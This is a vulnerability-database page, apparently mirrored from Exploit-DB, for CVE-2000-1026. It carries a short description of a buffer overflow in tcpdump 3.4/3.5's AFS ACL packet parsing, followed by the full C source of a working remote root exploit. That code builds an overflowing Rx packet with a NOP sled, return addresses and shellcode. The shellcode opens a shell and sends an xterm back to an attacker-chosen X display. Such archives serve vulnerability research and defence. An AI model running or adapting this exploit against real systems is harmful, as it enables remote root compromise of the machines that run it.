Lucene search
+L

tcpdump 3.4/3.5 - AFS ACL Packet Buffer Overflow

🗓️ 02 Jan 2001 00:00:00Reported by ZhodiacType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

tcpdump versions 3.4/3.5 have a buffer overflow vulnerability in AFS ACL packet processing.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-1026
22 Jan 200105:00
cve
cvelist
Cvelist
CVE-2000-1026
22 Jan 200105:00
cvelist
euvd
EUVD
EUVD-2000-1013
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-1026
11 Dec 200005:00
nvd
cert
CERT
tcpdump vulnerable to buffer overflow via parsing of AFS ACL packets
22 Jun 200100:00
cert
/*
source: https://www.securityfocus.com/bid/1870/info

tcpdump is a popular network monitoring tool used for watching network traffic written by the Lawrence Berkeley Laboratory. It must at least begin execution as root since it opens and reads from the link layer interface (through pcap). It is usually run directly by/as root.

tcpdump is vulnerable to a remotely exploitable buffer overflow in it's parsing of AFS ACL packets. This is likely the result of the AFS packet fields received over a network interface being copied into memory buffers of predefined length without checks for size. The excessive data could be used to overwrite stack variables if constructed correctly and allow the attacker (who would have sent the custom ACL packets) to gain remote access to the victim host.

Exploitation of this vulnerability would likely yield root access for the perpetrator.
*/

/*
* Tcpdump remote root xploit (3.5.2) (with -s 500 or higher)
* for Linux x86
*
* By: Zhodiac <[email protected]>
*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* This xploit was coded only to prove it can be done :)
*
* As usual, this xploit is dedicated to [CrAsH]]
* She is "the one" and "only one" :***************
*
* #include <standar/disclaimer.h>
*
* Madrid 2/1/2001
*
* Spain r0x
*
*/

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#define ADDR            0xbffff248
#define OFFSET          0
#define NUM_ADDR            10
#define NOP             0x90
#define NUM_NOP         100

#define RX_CLIENT_INITIATED     1
#define RX_PACKET_TYPE_DATA     1
#define FS_RX_DPORT             7000
#define FS_RX_SPORT             7001
#define AFS_CALL                134

struct rx_header {
    u_int32_t epoch;
    u_int32_t cid;
    u_int32_t callNumber;
    u_int32_t seq;
    u_int32_t serial;
    u_char type;
    u_char flags;
    u_char userStatus;
    u_char securityIndex;
    u_short spare;
    u_short serviceId;
};

char shellcode[] = /* By Zhodiac <[email protected]> */
  "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"
  "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"
  "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"
  "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"
  "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"
  "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"
  "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"
  "\xff\xff\xff"
  "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";

long resolve(char *name) {
 struct hostent *hp;
 long ip;

 if ((ip=inet_addr(name))==-1) {
   if ((hp=gethostbyname(name))==NULL) {
        fprintf (stderr,"Can't resolve host name [%s].\n",name);
        exit(-1);
      }
    memcpy(&ip,(hp->h_addr),4);
    }
 return(ip);
}


int main (int argc, char *argv[]) {

 struct sockaddr_in addr,sin;
 int sock,aux, offset=OFFSET;
 char buffer[4048], *chptr;
 struct rx_header *rxh;
 long int *lptr, return_addr=ADDR;


  fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
  fprintf(stderr,"Tcpdump 3.5.2 xploit by Zhodiac <[email protected]>\n\n");


  if (argc<3) {
    printf("Usage: %s <host> <display> [offset]\n",argv[0]);
    exit(-1);
    }

  if (argc==4) offset=atoi(argv[3]);
  return_addr+=offset;

  fprintf(stderr,"Using return addr: %#x\n",return_addr);

  addr.sin_family=AF_INET;
  addr.sin_addr.s_addr=resolve(argv[1]);
  addr.sin_port=htons(FS_RX_DPORT);

  if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {
     perror("socket()");
     exit(-1);
     }

  sin.sin_family=AF_INET;
  sin.sin_addr.s_addr=INADDR_ANY;
  sin.sin_port=htons(FS_RX_SPORT);

  if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {
      perror("bind()");
      exit(-1);
      }

  memset(buffer,0,sizeof(buffer));
  rxh=(struct rx_header *)buffer;

  rxh->type=RX_PACKET_TYPE_DATA;
  rxh->seq=htonl(1);
  rxh->flags=RX_CLIENT_INITIATED;

  lptr=(long int *)(buffer+sizeof(struct rx_header));
  *(lptr++)=htonl(AFS_CALL);
  *(lptr++)=htonl(1);
  *(lptr++)=htonl(2);
  *(lptr++)=htonl(3);

  *(lptr++)=htonl(420);
  chptr=(char *)lptr;
  sprintf(chptr,"1 0\n");
  chptr+=4;

  memset(chptr,'A',120);
  chptr+=120;
  lptr=(long int *)chptr;
  for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;
  chptr=(char *)lptr;
  memset(chptr,NOP,NUM_NOP);
  chptr+=NUM_NOP;
  shellcode[30]=(char)(46+strlen(argv[2]));
  memcpy(chptr,shellcode,strlen(shellcode));
  chptr+=strlen(shellcode);
  memcpy(chptr,argv[2],strlen(argv[2]));
  chptr+=strlen(argv[2]);

  sprintf(chptr," 1\n");

  if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1) {
     perror("send()");
     exit(-1);
     }

  fprintf(stderr,"Packet with Overflow sent, now wait for the xterm!!!! :)\n\n");

  close(sock);
  return(0);
 }

//------- tcpdump-xploit.c ----------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.05979
44